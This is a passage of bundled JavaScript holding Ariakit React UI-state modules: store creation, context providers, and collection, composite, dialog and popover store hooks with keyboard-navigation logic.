36649 const Role = external_React_.forwardRef((props, ref) => render(_3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, props), { ref })));
36650 Role.displayName = render.displayName || render.name;
36651 return Role;
36652}
36653function memo2(Component, propsAreEqual) {
36654 return external_React_.memo(Component, propsAreEqual);
36655}
36656function createElement(Type, props) {
36657 const _a = props, { wrapElement, render } = _a, rest = __objRest(_a, ["wrapElement", "render"]);
36658 const mergedRef = useMergeRefs(props.ref, getRefProperty(render));
36659 let element;
36660 if (external_React_.isValidElement(render)) {
36661 const renderProps = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, render.props), { ref: mergedRef });
36662 element = external_React_.cloneElement(render, mergeProps(rest, renderProps));
36663 } else if (render) {
36664 element = render(rest);
36665 } else {
36666 element = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Type, _3YLGPPWQ_spreadValues({}, rest));
36667 }
36668 if (wrapElement) {
36669 return wrapElement(element);
36670 }
36671 return element;
36672}
36673function createHook(useProps) {
36674 const useRole = (props = {}) => {
36675 return useProps(props);
36676 };
36677 useRole.displayName = useProps.name;
36678 return useRole;
36679}
36680function createStoreContext(providers = [], scopedProviders = []) {
36681 const context = external_React_.createContext(void 0);
36682 const scopedContext = external_React_.createContext(void 0);
36683 const useContext2 = () => external_React_.useContext(context);
36684 const useScopedContext = (onlyScoped = false) => {
36685 const scoped = external_React_.useContext(scopedContext);
36686 const store = useContext2();
36687 if (onlyScoped) return scoped;
36688 return scoped || store;
36689 };
36690 const useProviderContext = () => {
36691 const scoped = external_React_.useContext(scopedContext);
36692 const store = useContext2();
36693 if (scoped && scoped === store) return;
36694 return store;
36695 };
36696 const ContextProvider = (props) => {
36697 return providers.reduceRight(
36698 (children, Provider) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Provider, _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, props), { children })),
36699 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(context.Provider, _3YLGPPWQ_spreadValues({}, props))
36700 );
36701 };
36702 const ScopedContextProvider = (props) => {
36703 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ContextProvider, _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, props), { children: scopedProviders.reduceRight(
36704 (children, Provider) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Provider, _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, props), { children })),
36705 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(scopedContext.Provider, _3YLGPPWQ_spreadValues({}, props))
36706 ) }));
36707 };
36708 return {
36709 context,
36710 scopedContext,
36711 useContext: useContext2,
36712 useScopedContext,
36713 useProviderContext,
36714 ContextProvider,
36715 ScopedContextProvider
36716 };
36717}
36718
36719
36720
36721;// ./node_modules/@ariakit/react-core/esm/__chunks/VDHZ5F7K.js
36722"use client";
36723
36724
36725// src/collection/collection-context.tsx
36726var ctx = createStoreContext();
36727var useCollectionContext = ctx.useContext;
36728var useCollectionScopedContext = ctx.useScopedContext;
36729var useCollectionProviderContext = ctx.useProviderContext;
36730var CollectionContextProvider = ctx.ContextProvider;
36731var CollectionScopedContextProvider = ctx.ScopedContextProvider;
36732
36733
36734
36735;// ./node_modules/@ariakit/react-core/esm/__chunks/P7GR5CS5.js
36736"use client";
36737
36738
36739
36740// src/composite/composite-context.tsx
36741
36742var P7GR5CS5_ctx = createStoreContext(
36743 [CollectionContextProvider],
36744 [CollectionScopedContextProvider]
36745);
36746var useCompositeContext = P7GR5CS5_ctx.useContext;
36747var useCompositeScopedContext = P7GR5CS5_ctx.useScopedContext;
36748var useCompositeProviderContext = P7GR5CS5_ctx.useProviderContext;
36749var CompositeContextProvider = P7GR5CS5_ctx.ContextProvider;
36750var CompositeScopedContextProvider = P7GR5CS5_ctx.ScopedContextProvider;
36751var CompositeItemContext = (0,external_React_.createContext)(
36752 void 0
36753);
36754var CompositeRowContext = (0,external_React_.createContext)(
36755 void 0
36756);
36757
36758
36759
36760;// ./node_modules/@ariakit/react-core/esm/__chunks/3XAVFTCA.js
36761"use client";
36762
36763
36764
36765// src/tag/tag-context.tsx
36766
36767var TagValueContext = (0,external_React_.createContext)(null);
36768var TagRemoveIdContext = (0,external_React_.createContext)(
36769 null
36770);
36771var _3XAVFTCA_ctx = createStoreContext(
36772 [CompositeContextProvider],
36773 [CompositeScopedContextProvider]
36774);
36775var useTagContext = _3XAVFTCA_ctx.useContext;
36776var useTagScopedContext = _3XAVFTCA_ctx.useScopedContext;
36777var useTagProviderContext = _3XAVFTCA_ctx.useProviderContext;
36778var TagContextProvider = _3XAVFTCA_ctx.ContextProvider;
36779var TagScopedContextProvider = _3XAVFTCA_ctx.ScopedContextProvider;
36780
36781
36782
36783;// ./node_modules/@ariakit/core/esm/__chunks/BCALMBPZ.js
36784"use client";
36785
36786
36787
36788// src/utils/store.ts
36789function getInternal(store, key) {
36790 const internals = store.__unstableInternals;
36791 invariant(internals, "Invalid store");
36792 return internals[key];
36793}
36794function createStore(initialState, ...stores) {
36795 let state = initialState;
36796 let prevStateBatch = state;
36797 let lastUpdate = Symbol();
36798 let destroy = PBFD2E7P_noop;
36799 const instances = /* @__PURE__ */ new Set();
36800 const updatedKeys = /* @__PURE__ */ new Set();
36801 const setups = /* @__PURE__ */ new Set();
36802 const listeners = /* @__PURE__ */ new Set();
36803 const batchListeners = /* @__PURE__ */ new Set();
36804 const disposables = /* @__PURE__ */ new WeakMap();
36805 const listenerKeys = /* @__PURE__ */ new WeakMap();
36806 const storeSetup = (callback) => {
36807 setups.add(callback);
36808 return () => setups.delete(callback);
36809 };
36810 const storeInit = () => {
36811 const initialized = instances.size;
36812 const instance = Symbol();
36813 instances.add(instance);
36814 const maybeDestroy = () => {
36815 instances.delete(instance);
36816 if (instances.size) return;
36817 destroy();
36818 };
36819 if (initialized) return maybeDestroy;
36820 const desyncs = getKeys(state).map(
36821 (key) => chain(
36822 ...stores.map((store) => {
36823 var _a;
36824 const storeState = (_a = store == null ? void 0 : store.getState) == null ? void 0 : _a.call(store);
36825 if (!storeState) return;
36826 if (!PBFD2E7P_hasOwnProperty(storeState, key)) return;
36827 return sync(store, [key], (state2) => {
36828 setState(
36829 key,
36830 state2[key],
36831 // @ts-expect-error - Not public API. This is just to prevent
36832 // infinite loops.
36833 true
36834 );
36835 });
36836 })
36837 )
36838 );
36839 const teardowns = [];
36840 for (const setup2 of setups) {
36841 teardowns.push(setup2());
36842 }
36843 const cleanups = stores.map(init);
36844 destroy = chain(...desyncs, ...teardowns, ...cleanups);
36845 return maybeDestroy;
36846 };
36847 const sub = (keys, listener, set = listeners) => {
36848 set.add(listener);
36849 listenerKeys.set(listener, keys);
36850 return () => {
36851 var _a;
36852 (_a = disposables.get(listener)) == null ? void 0 : _a();
36853 disposables.delete(listener);
36854 listenerKeys.delete(listener);
36855 set.delete(listener);
36856 };
36857 };
36858 const storeSubscribe = (keys, listener) => sub(keys, listener);
36859 const storeSync = (keys, listener) => {
36860 disposables.set(listener, listener(state, state));
36861 return sub(keys, listener);
36862 };
36863 const storeBatch = (keys, listener) => {
36864 disposables.set(listener, listener(state, prevStateBatch));
36865 return sub(keys, listener, batchListeners);
36866 };
36867 const storePick = (keys) => createStore(pick(state, keys), finalStore);
36868 const storeOmit = (keys) => createStore(omit(state, keys), finalStore);
36869 const getState = () => state;
36870 const setState = (key, value, fromStores = false) => {
36871 var _a;
36872 if (!PBFD2E7P_hasOwnProperty(state, key)) return;
36873 const nextValue = applyState(value, state[key]);
36874 if (nextValue === state[key]) return;
36875 if (!fromStores) {
36876 for (const store of stores) {
36877 (_a = store == null ? void 0 : store.setState) == null ? void 0 : _a.call(store, key, nextValue);
36878 }
36879 }
36880 const prevState = state;
36881 state = _chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues({}, state), { [key]: nextValue });
36882 const thisUpdate = Symbol();
36883 lastUpdate = thisUpdate;
36884 updatedKeys.add(key);
36885 const run = (listener, prev, uKeys) => {
36886 var _a2;
36887 const keys = listenerKeys.get(listener);
36888 const updated = (k) => uKeys ? uKeys.has(k) : k === key;
36889 if (!keys || keys.some(updated)) {
36890 (_a2 = disposables.get(listener)) == null ? void 0 : _a2();
36891 disposables.set(listener, listener(state, prev));
36892 }
36893 };
36894 for (const listener of listeners) {
36895 run(listener, prevState);
36896 }
36897 queueMicrotask(() => {
36898 if (lastUpdate !== thisUpdate) return;
36899 const snapshot = state;
36900 for (const listener of batchListeners) {
36901 run(listener, prevStateBatch, updatedKeys);
36902 }
36903 prevStateBatch = snapshot;
36904 updatedKeys.clear();
36905 });
36906 };
36907 const finalStore = {
36908 getState,
36909 setState,
36910 __unstableInternals: {
36911 setup: storeSetup,
36912 init: storeInit,
36913 subscribe: storeSubscribe,
36914 sync: storeSync,
36915 batch: storeBatch,
36916 pick: storePick,
36917 omit: storeOmit
36918 }
36919 };
36920 return finalStore;
36921}
36922function setup(store, ...args) {
36923 if (!store) return;
36924 return getInternal(store, "setup")(...args);
36925}
36926function init(store, ...args) {
36927 if (!store) return;
36928 return getInternal(store, "init")(...args);
36929}
36930function subscribe(store, ...args) {
36931 if (!store) return;
36932 return getInternal(store, "subscribe")(...args);
36933}
36934function sync(store, ...args) {
36935 if (!store) return;
36936 return getInternal(store, "sync")(...args);
36937}
36938function batch(store, ...args) {
36939 if (!store) return;
36940 return getInternal(store, "batch")(...args);
36941}
36942function omit2(store, ...args) {
36943 if (!store) return;
36944 return getInternal(store, "omit")(...args);
36945}
36946function pick2(store, ...args) {
36947 if (!store) return;
36948 return getInternal(store, "pick")(...args);
36949}
36950function mergeStore(...stores) {
36951 const initialState = stores.reduce((state, store2) => {
36952 var _a;
36953 const nextState = (_a = store2 == null ? void 0 : store2.getState) == null ? void 0 : _a.call(store2);
36954 if (!nextState) return state;
36955 return Object.assign(state, nextState);
36956 }, {});
36957 const store = createStore(initialState, ...stores);
36958 return Object.assign({}, ...stores, store);
36959}
36960function throwOnConflictingProps(props, store) {
36961 if (true) return;
36962 if (!store) return;
36963 const defaultKeys = Object.entries(props).filter(([key, value]) => key.startsWith("default") && value !== void 0).map(([key]) => {
36964 var _a;
36965 const stateKey = key.replace("default", "");
36966 return `${((_a = stateKey[0]) == null ? void 0 : _a.toLowerCase()) || ""}${stateKey.slice(1)}`;
36967 });
36968 if (!defaultKeys.length) return;
36969 const storeState = store.getState();
36970 const conflictingProps = defaultKeys.filter(
36971 (key) => PBFD2E7P_hasOwnProperty(storeState, key)
36972 );
36973 if (!conflictingProps.length) return;
36974 throw new Error(
36975 `Passing a store prop in conjunction with a default state is not supported.
36976
36977const store = useSelectStore();
36978<SelectProvider store={store} defaultValue="Apple" />
36979 ^ ^
36980
36981Instead, pass the default state to the topmost store:
36982
36983const store = useSelectStore({ defaultValue: "Apple" });
36984<SelectProvider store={store} />
36985
36986See https://github.com/ariakit/ariakit/pull/2745 for more details.
36987
36988If there's a particular need for this, please submit a feature request at https://github.com/ariakit/ariakit
36989`
36990 );
36991}
36992
36993
36994
36995// EXTERNAL MODULE: ./node_modules/use-sync-external-store/shim/index.js
36996var shim = __webpack_require__(422);
36997;// ./node_modules/@ariakit/react-core/esm/__chunks/YV4JVR4I.js
36998"use client";
36999
37000
37001
37002// src/utils/store.tsx
37003
37004
37005
37006
37007var { useSyncExternalStore } = shim;
37008var noopSubscribe = () => () => {
37009};
37010function useStoreState(store, keyOrSelector = identity) {
37011 const storeSubscribe = external_React_.useCallback(
37012 (callback) => {
37013 if (!store) return noopSubscribe();
37014 return subscribe(store, null, callback);
37015 },
37016 [store]
37017 );
37018 const getSnapshot = () => {
37019 const key = typeof keyOrSelector === "string" ? keyOrSelector : null;
37020 const selector = typeof keyOrSelector === "function" ? keyOrSelector : null;
37021 const state = store == null ? void 0 : store.getState();
37022 if (selector) return selector(state);
37023 if (!state) return;
37024 if (!key) return;
37025 if (!PBFD2E7P_hasOwnProperty(state, key)) return;
37026 return state[key];
37027 };
37028 return useSyncExternalStore(storeSubscribe, getSnapshot, getSnapshot);
37029}
37030function useStoreStateObject(store, object) {
37031 const objRef = external_React_.useRef(
37032 {}
37033 );
37034 const storeSubscribe = external_React_.useCallback(
37035 (callback) => {
37036 if (!store) return noopSubscribe();
37037 return subscribe(store, null, callback);
37038 },
37039 [store]
37040 );
37041 const getSnapshot = () => {
37042 const state = store == null ? void 0 : store.getState();
37043 let updated = false;
37044 const obj = objRef.current;
37045 for (const prop in object) {
37046 const keyOrSelector = object[prop];
37047 if (typeof keyOrSelector === "function") {
37048 const value = keyOrSelector(state);
37049 if (value !== obj[prop]) {
37050 obj[prop] = value;
37051 updated = true;
37052 }
37053 }
37054 if (typeof keyOrSelector === "string") {
37055 if (!state) continue;
37056 if (!PBFD2E7P_hasOwnProperty(state, keyOrSelector)) continue;
37057 const value = state[keyOrSelector];
37058 if (value !== obj[prop]) {
37059 obj[prop] = value;
37060 updated = true;
37061 }
37062 }
37063 }
37064 if (updated) {
37065 objRef.current = _3YLGPPWQ_spreadValues({}, obj);
37066 }
37067 return objRef.current;
37068 };
37069 return useSyncExternalStore(storeSubscribe, getSnapshot, getSnapshot);
37070}
37071function useStoreProps(store, props, key, setKey) {
37072 const value = PBFD2E7P_hasOwnProperty(props, key) ? props[key] : void 0;
37073 const setValue = setKey ? props[setKey] : void 0;
37074 const propsRef = useLiveRef({ value, setValue });
37075 useSafeLayoutEffect(() => {
37076 return sync(store, [key], (state, prev) => {
37077 const { value: value2, setValue: setValue2 } = propsRef.current;
37078 if (!setValue2) return;
37079 if (state[key] === prev[key]) return;
37080 if (state[key] === value2) return;
37081 setValue2(state[key]);
37082 });
37083 }, [store, key]);
37084 useSafeLayoutEffect(() => {
37085 if (value === void 0) return;
37086 store.setState(key, value);
37087 return batch(store, [key], () => {
37088 if (value === void 0) return;
37089 store.setState(key, value);
37090 });
37091 });
37092}
37093function YV4JVR4I_useStore(createStore, props) {
37094 const [store, setStore] = external_React_.useState(() => createStore(props));
37095 useSafeLayoutEffect(() => init(store), [store]);
37096 const useState2 = external_React_.useCallback(
37097 (keyOrSelector) => useStoreState(store, keyOrSelector),
37098 [store]
37099 );
37100 const memoizedStore = external_React_.useMemo(
37101 () => _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, store), { useState: useState2 }),
37102 [store, useState2]
37103 );
37104 const updateStore = useEvent(() => {
37105 setStore((store2) => createStore(_3YLGPPWQ_spreadValues(_3YLGPPWQ_spreadValues({}, props), store2.getState())));
37106 });
37107 return [memoizedStore, updateStore];
37108}
37109
37110
37111
37112;// ./node_modules/@ariakit/react-core/esm/__chunks/C3IKGW5T.js
37113"use client";
37114
37115
37116
37117// src/collection/collection-store.ts
37118
37119function useCollectionStoreProps(store, update, props) {
37120 useUpdateEffect(update, [props.store]);
37121 useStoreProps(store, props, "items", "setItems");
37122 return store;
37123}
37124function useCollectionStore(props = {}) {
37125 const [store, update] = useStore(Core.createCollectionStore, props);
37126 return useCollectionStoreProps(store, update, props);
37127}
37128
37129
37130
37131;// ./node_modules/@ariakit/react-core/esm/__chunks/4CMBR7SL.js
37132"use client";
37133
37134
37135
37136
37137
37138// src/composite/composite-store.ts
37139
37140function useCompositeStoreOptions(props) {
37141 const id = useId(props.id);
37142 return _3YLGPPWQ_spreadValues({ id }, props);
37143}
37144function useCompositeStoreProps(store, update, props) {
37145 store = useCollectionStoreProps(store, update, props);
37146 useStoreProps(store, props, "activeId", "setActiveId");
37147 useStoreProps(store, props, "includesBaseElement");
37148 useStoreProps(store, props, "virtualFocus");
37149 useStoreProps(store, props, "orientation");
37150 useStoreProps(store, props, "rtl");
37151 useStoreProps(store, props, "focusLoop");
37152 useStoreProps(store, props, "focusWrap");
37153 useStoreProps(store, props, "focusShift");
37154 return store;
37155}
37156function useCompositeStore(props = {}) {
37157 props = useCompositeStoreOptions(props);
37158 const [store, update] = useStore(Core.createCompositeStore, props);
37159 return useCompositeStoreProps(store, update, props);
37160}
37161
37162
37163
37164;// ./node_modules/@ariakit/react-core/esm/__chunks/WYCIER3C.js
37165"use client";
37166
37167
37168
37169// src/disclosure/disclosure-store.ts
37170
37171function useDisclosureStoreProps(store, update, props) {
37172 useUpdateEffect(update, [props.store, props.disclosure]);
37173 useStoreProps(store, props, "open", "setOpen");
37174 useStoreProps(store, props, "mounted", "setMounted");
37175 useStoreProps(store, props, "animated");
37176 return Object.assign(store, { disclosure: props.disclosure });
37177}
37178function useDisclosureStore(props = {}) {
37179 const [store, update] = useStore(Core.createDisclosureStore, props);
37180 return useDisclosureStoreProps(store, update, props);
37181}
37182
37183
37184
37185;// ./node_modules/@ariakit/react-core/esm/__chunks/BM6PGYQY.js
37186"use client";
37187
37188
37189
37190// src/dialog/dialog-store.ts
37191
37192function useDialogStoreProps(store, update, props) {
37193 return useDisclosureStoreProps(store, update, props);
37194}
37195function useDialogStore(props = {}) {
37196 const [store, update] = useStore(Core.createDialogStore, props);
37197 return useDialogStoreProps(store, update, props);
37198}
37199
37200
37201
37202;// ./node_modules/@ariakit/react-core/esm/__chunks/O2PQ2652.js
37203"use client";
37204
37205
37206
37207
37208// src/popover/popover-store.ts
37209
37210function usePopoverStoreProps(store, update, props) {
37211 useUpdateEffect(update, [props.popover]);
37212 useStoreProps(store, props, "placement");
37213 return useDialogStoreProps(store, update, props);
37214}
37215function usePopoverStore(props = {}) {
37216 const [store, update] = useStore(Core.createPopoverStore, props);
37217 return usePopoverStoreProps(store, update, props);
37218}
37219
37220
37221
37222;// ./node_modules/@ariakit/core/esm/__chunks/CYQWQL4J.js
37223"use client";
37224
37225
37226
37227
37228
37229// src/collection/collection-store.ts
37230function getCommonParent(items) {
37231 var _a;
37232 const firstItem = items.find((item) => !!item.element);
37233 const lastItem = [...items].reverse().find((item) => !!item.element);
37234 let parentElement = (_a = firstItem == null ? void 0 : firstItem.element) == null ? void 0 : _a.parentElement;
37235 while (parentElement && (lastItem == null ? void 0 : lastItem.element)) {
37236 const parent = parentElement;
37237 if (lastItem && parent.contains(lastItem.element)) {
37238 return parentElement;
37239 }
37240 parentElement = parentElement.parentElement;
37241 }
37242 return getDocument(parentElement).body;
37243}
37244function getPrivateStore(store) {
37245 return store == null ? void 0 : store.__unstablePrivateStore;
37246}
37247function createCollectionStore(props = {}) {
37248 var _a;
37249 throwOnConflictingProps(props, props.store);
37250 const syncState = (_a = props.store) == null ? void 0 : _a.getState();
37251 const items = defaultValue(
37252 props.items,
37253 syncState == null ? void 0 : syncState.items,
37254 props.defaultItems,
37255 []
37256 );
37257 const itemsMap = new Map(items.map((item) => [item.id, item]));
37258 const initialState = {
37259 items,
37260 renderedItems: defaultValue(syncState == null ? void 0 : syncState.renderedItems, [])
37261 };
37262 const syncPrivateStore = getPrivateStore(props.store);
37263 const privateStore = createStore(
37264 { items, renderedItems: initialState.renderedItems },
37265 syncPrivateStore
37266 );
37267 const collection = createStore(initialState, props.store);
37268 const sortItems = (renderedItems) => {
37269 const sortedItems = sortBasedOnDOMPosition(renderedItems, (i) => i.element);
37270 privateStore.setState("renderedItems", sortedItems);
37271 collection.setState("renderedItems", sortedItems);
37272 };
37273 setup(collection, () => init(privateStore));
37274 setup(privateStore, () => {
37275 return batch(privateStore, ["items"], (state) => {
37276 collection.setState("items", state.items);
37277 });
37278 });
37279 setup(privateStore, () => {
37280 return batch(privateStore, ["renderedItems"], (state) => {
37281 let firstRun = true;
37282 let raf = requestAnimationFrame(() => {
37283 const { renderedItems } = collection.getState();
37284 if (state.renderedItems === renderedItems) return;
37285 sortItems(state.renderedItems);
37286 });
37287 if (typeof IntersectionObserver !== "function") {
37288 return () => cancelAnimationFrame(raf);
37289 }
37290 const ioCallback = () => {
37291 if (firstRun) {
37292 firstRun = false;
37293 return;
37294 }
37295 cancelAnimationFrame(raf);
37296 raf = requestAnimationFrame(() => sortItems(state.renderedItems));
37297 };
37298 const root = getCommonParent(state.renderedItems);
37299 const observer = new IntersectionObserver(ioCallback, { root });
37300 for (const item of state.renderedItems) {
37301 if (!item.element) continue;
37302 observer.observe(item.element);
37303 }
37304 return () => {
37305 cancelAnimationFrame(raf);
37306 observer.disconnect();
37307 };
37308 });
37309 });
37310 const mergeItem = (item, setItems, canDeleteFromMap = false) => {
37311 let prevItem;
37312 setItems((items2) => {
37313 const index = items2.findIndex(({ id }) => id === item.id);
37314 const nextItems = items2.slice();
37315 if (index !== -1) {
37316 prevItem = items2[index];
37317 const nextItem = _chunks_3YLGPPWQ_spreadValues(_chunks_3YLGPPWQ_spreadValues({}, prevItem), item);
37318 nextItems[index] = nextItem;
37319 itemsMap.set(item.id, nextItem);
37320 } else {
37321 nextItems.push(item);
37322 itemsMap.set(item.id, item);
37323 }
37324 return nextItems;
37325 });
37326 const unmergeItem = () => {
37327 setItems((items2) => {
37328 if (!prevItem) {
37329 if (canDeleteFromMap) {
37330 itemsMap.delete(item.id);
37331 }
37332 return items2.filter(({ id }) => id !== item.id);
37333 }
37334 const index = items2.findIndex(({ id }) => id === item.id);
37335 if (index === -1) return items2;
37336 const nextItems = items2.slice();
37337 nextItems[index] = prevItem;
37338 itemsMap.set(item.id, prevItem);
37339 return nextItems;
37340 });
37341 };
37342 return unmergeItem;
37343 };
37344 const registerItem = (item) => mergeItem(
37345 item,
37346 (getItems) => privateStore.setState("items", getItems),
37347 true
37348 );
37349 return _chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues({}, collection), {
37350 registerItem,
37351 renderItem: (item) => chain(
37352 registerItem(item),
37353 mergeItem(
37354 item,
37355 (getItems) => privateStore.setState("renderedItems", getItems)
37356 )
37357 ),
37358 item: (id) => {
37359 if (!id) return null;
37360 let item = itemsMap.get(id);
37361 if (!item) {
37362 const { items: items2 } = privateStore.getState();
37363 item = items2.find((item2) => item2.id === id);
37364 if (item) {
37365 itemsMap.set(id, item);
37366 }
37367 }
37368 return item || null;
37369 },
37370 // @ts-expect-error Internal
37371 __unstablePrivateStore: privateStore
37372 });
37373}
37374
37375
37376
37377;// ./node_modules/@ariakit/core/esm/__chunks/7PRQYBBV.js
37378"use client";
37379
37380// src/utils/array.ts
37381function toArray(arg) {
37382 if (Array.isArray(arg)) {
37383 return arg;
37384 }
37385 return typeof arg !== "undefined" ? [arg] : [];
37386}
37387function addItemToArray(array, item, index = -1) {
37388 if (!(index in array)) {
37389 return [...array, item];
37390 }
37391 return [...array.slice(0, index), item, ...array.slice(index)];
37392}
37393function flatten2DArray(array) {
37394 const flattened = [];
37395 for (const row of array) {
37396 flattened.push(...row);
37397 }
37398 return flattened;
37399}
37400function reverseArray(array) {
37401 return array.slice().reverse();
37402}
37403
37404
37405
37406;// ./node_modules/@ariakit/core/esm/__chunks/AJZ4BYF3.js
37407"use client";
37408
37409
37410
37411
37412
37413
37414// src/composite/composite-store.ts
37415var NULL_ITEM = { id: null };
37416function findFirstEnabledItem(items, excludeId) {
37417 return items.find((item) => {
37418 if (excludeId) {
37419 return !item.disabled && item.id !== excludeId;
37420 }
37421 return !item.disabled;
37422 });
37423}
37424function getEnabledItems(items, excludeId) {
37425 return items.filter((item) => {
37426 if (excludeId) {
37427 return !item.disabled && item.id !== excludeId;
37428 }
37429 return !item.disabled;
37430 });
37431}
37432function getItemsInRow(items, rowId) {
37433 return items.filter((item) => item.rowId === rowId);
37434}
37435function flipItems(items, activeId, shouldInsertNullItem = false) {
37436 const index = items.findIndex((item) => item.id === activeId);
37437 return [
37438 ...items.slice(index + 1),
37439 ...shouldInsertNullItem ? [NULL_ITEM] : [],
37440 ...items.slice(0, index)
37441 ];
37442}
37443function groupItemsByRows(items) {
37444 const rows = [];
37445 for (const item of items) {
37446 const row = rows.find((currentRow) => {
37447 var _a;
37448 return ((_a = currentRow[0]) == null ? void 0 : _a.rowId) === item.rowId;
37449 });
37450 if (row) {
37451 row.push(item);
37452 } else {
37453 rows.push([item]);
37454 }
37455 }
37456 return rows;
37457}
37458function getMaxRowLength(array) {
37459 let maxLength = 0;
37460 for (const { length } of array) {
37461 if (length > maxLength) {
37462 maxLength = length;
37463 }
37464 }
37465 return maxLength;
37466}
37467function createEmptyItem(rowId) {
37468 return {
37469 id: "__EMPTY_ITEM__",
37470 disabled: true,
37471 rowId
37472 };
37473}
37474function normalizeRows(rows, activeId, focusShift) {
37475 const maxLength = getMaxRowLength(rows);
37476 for (const row of rows) {
37477 for (let i = 0; i < maxLength; i += 1) {
37478 const item = row[i];
37479 if (!item || focusShift && item.disabled) {
37480 const isFirst = i === 0;
37481 const previousItem = isFirst && focusShift ? findFirstEnabledItem(row) : row[i - 1];
37482 row[i] = previousItem && activeId !== previousItem.id && focusShift ? previousItem : createEmptyItem(previousItem == null ? void 0 : previousItem.rowId);
37483 }
37484 }
37485 }
37486 return rows;
37487}
37488function verticalizeItems(items) {
37489 const rows = groupItemsByRows(items);
37490 const maxLength = getMaxRowLength(rows);
37491 const verticalized = [];
37492 for (let i = 0; i < maxLength; i += 1) {
37493 for (const row of rows) {
37494 const item = row[i];
37495 if (item) {
37496 verticalized.push(_chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues({}, item), {
37497 // If there's no rowId, it means that it's not a grid composite, but
37498 // a single row instead. So, instead of verticalizing it, that is,
37499 // assigning a different rowId based on the column index, we keep it
37500 // undefined so they will be part of the same row. This is useful
37501 // when using up/down on one-dimensional composites.
37502 rowId: item.rowId ? `${i}` : void 0
37503 }));
37504 }
37505 }
37506 }
37507 return verticalized;
37508}
37509function createCompositeStore(props = {}) {
37510 var _a;
37511 const syncState = (_a = props.store) == null ? void 0 : _a.getState();
37512 const collection = createCollectionStore(props);
37513 const activeId = defaultValue(
37514 props.activeId,
37515 syncState == null ? void 0 : syncState.activeId,
37516 props.defaultActiveId
37517 );
37518 const initialState = _chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues({}, collection.getState()), {
37519 id: defaultValue(
37520 props.id,
37521 syncState == null ? void 0 : syncState.id,
37522 `id-${Math.random().toString(36).slice(2, 8)}`
37523 ),
37524 activeId,
37525 baseElement: defaultValue(syncState == null ? void 0 : syncState.baseElement, null),
37526 includesBaseElement: defaultValue(
37527 props.includesBaseElement,
37528 syncState == null ? void 0 : syncState.includesBaseElement,
37529 activeId === null
37530 ),
37531 moves: defaultValue(syncState == null ? void 0 : syncState.moves, 0),
37532 orientation: defaultValue(
37533 props.orientation,
37534 syncState == null ? void 0 : syncState.orientation,
37535 "both"
37536 ),
37537 rtl: defaultValue(props.rtl, syncState == null ? void 0 : syncState.rtl, false),
37538 virtualFocus: defaultValue(
37539 props.virtualFocus,
37540 syncState == null ? void 0 : syncState.virtualFocus,
37541 false
37542 ),
37543 focusLoop: defaultValue(props.focusLoop, syncState == null ? void 0 : syncState.focusLoop, false),
37544 focusWrap: defaultValue(props.focusWrap, syncState == null ? void 0 : syncState.focusWrap, false),
37545 focusShift: defaultValue(props.focusShift, syncState == null ? void 0 : syncState.focusShift, false)
37546 });
37547 const composite = createStore(initialState, collection, props.store);
37548 setup(
37549 composite,
37550 () => sync(composite, ["renderedItems", "activeId"], (state) => {
37551 composite.setState("activeId", (activeId2) => {
37552 var _a2;
37553 if (activeId2 !== void 0) return activeId2;
37554 return (_a2 = findFirstEnabledItem(state.renderedItems)) == null ? void 0 : _a2.id;
37555 });
37556 })
37557 );
37558 const getNextId = (direction = "next", options = {}) => {
37559 var _a2, _b;
37560 const defaultState = composite.getState();
37561 const {
37562 skip = 0,
37563 activeId: activeId2 = defaultState.activeId,
37564 focusShift = defaultState.focusShift,
37565 focusLoop = defaultState.focusLoop,
37566 focusWrap = defaultState.focusWrap,
37567 includesBaseElement = defaultState.includesBaseElement,
37568 renderedItems = defaultState.renderedItems,
37569 rtl = defaultState.rtl
37570 } = options;
37571 const isVerticalDirection = direction === "up" || direction === "down";
37572 const isNextDirection = direction === "next" || direction === "down";
37573 const canReverse = isNextDirection ? rtl && !isVerticalDirection : !rtl || isVerticalDirection;
37574 const canShift = focusShift && !skip;
37575 let items = !isVerticalDirection ? renderedItems : flatten2DArray(
37576 normalizeRows(groupItemsByRows(renderedItems), activeId2, canShift)
37577 );
37578 items = canReverse ? reverseArray(items) : items;
37579 items = isVerticalDirection ? verticalizeItems(items) : items;
37580 if (activeId2 == null) {
37581 return (_a2 = findFirstEnabledItem(items)) == null ? void 0 : _a2.id;
37582 }
37583 const activeItem = items.find((item) => item.id === activeId2);
37584 if (!activeItem) {
37585 return (_b = findFirstEnabledItem(items)) == null ? void 0 : _b.id;
37586 }
37587 const isGrid = items.some((item) => item.rowId);
37588 const activeIndex = items.indexOf(activeItem);
37589 const nextItems = items.slice(activeIndex + 1);
37590 const nextItemsInRow = getItemsInRow(nextItems, activeItem.rowId);
37591 if (skip) {
37592 const nextEnabledItemsInRow = getEnabledItems(nextItemsInRow, activeId2);
37593 const nextItem2 = nextEnabledItemsInRow.slice(skip)[0] || // If we can't find an item, just return the last one.
37594 nextEnabledItemsInRow[nextEnabledItemsInRow.length - 1];
37595 return nextItem2 == null ? void 0 : nextItem2.id;
37596 }
37597 const canLoop = focusLoop && (isVerticalDirection ? focusLoop !== "horizontal" : focusLoop !== "vertical");
37598 const canWrap = isGrid && focusWrap && (isVerticalDirection ? focusWrap !== "horizontal" : focusWrap !== "vertical");
37599 const hasNullItem = isNextDirection ? (!isGrid || isVerticalDirection) && canLoop && includesBaseElement : isVerticalDirection ? includesBaseElement : false;
37600 if (canLoop) {
37601 const loopItems = canWrap && !hasNullItem ? items : getItemsInRow(items, activeItem.rowId);
